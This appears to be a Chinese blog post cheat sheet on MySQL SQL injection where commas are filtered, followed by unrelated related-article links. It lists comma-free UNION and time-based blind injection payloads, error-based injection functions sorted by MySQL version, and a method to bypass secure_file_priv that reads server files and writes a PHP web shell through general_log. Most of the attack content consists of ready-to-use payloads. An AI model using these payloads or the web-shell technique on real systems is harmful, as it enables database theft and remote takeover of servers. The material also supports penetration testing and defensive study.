不存在逗号的情况:

联合查询:

1.UNION SELECT * FROM ((SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)d JOIN (SELECT 5)e)

盲注:

1.select user,password from user where user='' and (sleep(length(user())=14));

select user,password from user where user='' and  (sleep(ascii(mid(user()from(1)for(1)))=114));

这是第一种,直接执行sleep()函数,但是没办法控制延迟时间,固定为sleep(true) == sleep(1),当网络存在波动的时候,可能会误判。

2.select user,password from user where user='' and (select case when (length(user())=14) then sleep(5) else 0 end);

select user,password from user where user='' and (select case when (substring((select user()) from(1)for(1))='o') then sleep(5) else 0 end);

这是第二种,case when关键字,代替 if 语句。

substring((select user()),1,2) == substring((select user()) from(1)for(2)) :from(1)表示从第一个位置开始,for(2)表示截取两个字符。P.S: mid函数同理。

substring((select user()) from-10) :也可以这样写,表示截取最后10位字符。这可以配合regexp使用正则来使用:substring(user() from-10) regexp '.*host'

报错注入:

测试的数据库版本为:5.0.96-community,5.1.60-community,5.5.29,5.5.53,5.7.26

5.0.96-community下:

@@secure_file_priv 为 NULL,默认不影响读,写文件等操作。

只有 floor( 函数的报错语句可以使用,但是该语句必须要 逗号 。

5.1.60-community下:

@@secure_file_priv 为 NULL,默认不影响 读,写文件等操作。

1.extractValue,updateXML 这两个函数可以开始使用了,具体Mysql版本:>=5.1.5即可使用,但是也必须使用逗号。

  注:该函数每次查询的数据只有32个字符,可以配合substr函数使用。

2.floor导致的报错可以使用。

3.geometrycollection()、multiponint()、polygon()、multipolygon()、linestring()、multilinestring()等函数都可以使用,并且不需要逗号

4.exp函数导致的报错,不能使用。

5.5.29:

@@secure_file_priv 为 NULL,默认不影响 读,写文件等操作。

1.extractValue,updateXML,floor,都可以使用,但是需要逗号。

2..geometrycollection()、multiponint()、polygon()、multipolygon()、linestring()、multilinestring(),exp() 都可以使用,不需要逗号。

5.5.53

@@secure_file_priv 为 NULL,默认 影响 读,写文件等操作。

绕过secure_file_priv 限制进行读写文件:

  1. 读文件:
  2. CREATE TABLE `tmp` (`tmp` TEXT NOT NULL );
  3. load data local infile 'D:/5529.txt' into table tmp;   成功将文件内容写入tmp表。
  4. 写文件:
  5. set global general_log='on';
  6. SET global general_log_file='D:/cmd.php';
  7. SELECT '<?php assert($_POST["cmd"]);?>';

    需要能执行多语句。

1.geometrycollection()、multiponint()、polygon()、multipolygon()、linestring()、multilinestring(),exp()等关键字的报错语句全部失败。

2.extractValue,updateXML,floor,都可以使用,但是需要逗号。

5.7.26

@@secure_file_priv 为 NULL,默认 影响 读,写文件等操作。

绕过secure_file_priv 限制进行读写文件,利用如上5.5.53。

1.geometrycollection()、multiponint()、polygon()、multipolygon()、linestring()、multilinestring(),exp()等关键字的报错语句全部失败。

2.extractValue,updateXML,都可以使用,但是需要逗号。

3.新增的报错语句:select ST_LatFromGeoHash(user());select ST_LongFromGeoHash(user());select ST_PointFromGeoHash(user(),1);select GTID_SUBSET(user(),1);

4.floor的报错语句,在5.7版本中与之前的有一些不一样。也就是使用 and 还是 or 连接符的结果不一样。也就是:

(select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a) 必须要能执行。见图:

文章持续更新...

Mysql 不能使用逗号的情况的更多相关文章

  1. mysql如何查看索引使用情况以及优化 - guols0612

    mysql中支持hash和btree索引.innodb和myisam只支持btree索引,而memory和heap存储引擎可以支持hash和btree索引 我们可以通过下面语句查询当前索引使用情况: ...

  2. MySQL删除数据几种情况以及是否释放磁盘空间【转】

    MySQL删除数据几种情况以及是否释放磁盘空间: 1.drop table table_name 立刻释放磁盘空间 ,不管是 Innodb和MyISAM ; 2.truncate table tabl ...

  3. mysql字段按逗号,拆分并按条件查找

    mysql字段按逗号,拆分并按条件查找 mysql 表结构 CREATE TABLE `subid` ( `id1` varchar(255) DEFAULT NULL, `id2` varchar( ...

  4. 逗号分割符--字段中含逗号等情况的解析方法Java实现

    最近在处理文本字符串时,没一行数据都是按照逗号分割的,每个字段值一般情况是带有双引号的,但是有的字段值里面还包含逗号,甚至有的字段就没有双引号,这个分割起来就有点麻烦了 下面说一下我解决方法,如果谁有 ...

  5. 基于binlog来分析mysql的行记录修改情况(python脚本分析)

          最近写完mysql flashback,突然发现还有有这种使用场景:有些情况下,可能会统计在某个时间段内,MySQL修改了多少数据量?发生了多少事务?主要是哪些表格发生变动?变动的数量是怎 ...

  6. MYSQL 索引类型、什么情况下用不上索引、什么情况下不推荐使用索引

    mysql explain的使用: http://blog.csdn.net/kaka1121/article/details/53394426 索引类型 在数据库表中,对字段建立索引可以大大提高查询 ...

  7. Linux下MySQL在知道密码的情况下修改密码

    1.在知道原密码的情况下,进入MySQL: mysql -u root -p 2.进入 mysql数据库,然后通过语句修改密码: 我的MySQL版本是:mysql  Ver 14.14 Distrib ...

  8. mysql replace into 的使用情况

    replace into的存在的几种情况 当表存在主键并且存在唯一键的时候 如果只是主键冲突 mysql> select * from auto; +----+---+------+------ ...

  9. mysql与redis在各种情况下性能对比

    数据表结构 CREATE TABLE `jx_goods_test` ( `id` int(11) NOT NULL AUTO_INCREMENT, `goods_name` varchar(100) ...

随机推荐

  1. 【探索之路】机器人篇(3)-给mwRobot建立模型

    在创建一个mwRobot_description程序包那一节中,我们添加了依赖roscpp  rospy std_msgs 和 urdf , 现在我们再添加一个xacro依赖. 如何添加依赖? 打开程 ...

  2. Java学习日报7.13

    /** * *//** * @author 86152 * */package Employee;import java.util.Scanner;public class Employee{ pri ...

  3. spring: 我是如何解决循环依赖的?

    1.由同事抛的一个问题开始 最近项目组的一个同事遇到了一个问题,问我的意见,一下子引起的我的兴趣,因为这个问题我也是第一次遇到.平时自认为对spring循环依赖问题还是比较了解的,直到遇到这个和后面的 ...

  4. Java中jna的用法

    (1)jna是对jni的封装,让java使用者能更好的使用本地的动态库 (2)使用jna需要下载jna的jar包,该jar包就是对jni的封装,所以在调用效率上来讲,jna是要比jni低一点的,不过对 ...

  5. C语言基础二维数组

    (1)二位数组的定义int array[n][m],行下标的取值范围是0~n-1,列下标的取值范围是0~m-1,二维数组最大下标元素是array[n-1][m-1]:如定义一个3行4列的数组 int ...

  6. Head First 设计模式 —— 02. 观察者 (Observer) 模式

    思考题 在我们的一个实现中,下列哪种说法正确?(多选) P42 public class WeatherDate { // 实例变量声明 public void measurementsChanged ...

  7. vue的路由以后的页面整合

    前面呢也提到一点点,今天就吧这个页面整合给分享一下.有不对的地方还望包容. 在vue中,一般在主显示的界面的路径呢一般是'/'也就是单括号中有一斜杠的这个呢是默认的显示路径.只要路由配置了这个路径用& ...

  8. 手把手教你用C语言编写一个哈希表

    原文链接:https://www.swack.cn/wiki/001558681974020669b912b0c994e7090649ac4846e80b2000/001572849111298ae3 ...

  9. three.js canvas内场景生成图片 canvas生成图片

    第一种最简单的方法: 1 threeBox.render();//重点 解决拿到图片后为黑色 2 3 let src=threeBox.renderer.domElement.toDataURL(); ...

  10. Flutter 基础组件:按钮

    前言 Material组件库中提供了多种按钮组件如RaisedButton.FlatButton.OutlineButton等,它们都是直接或间接对RawMaterialButton组件的包装定制,所 ...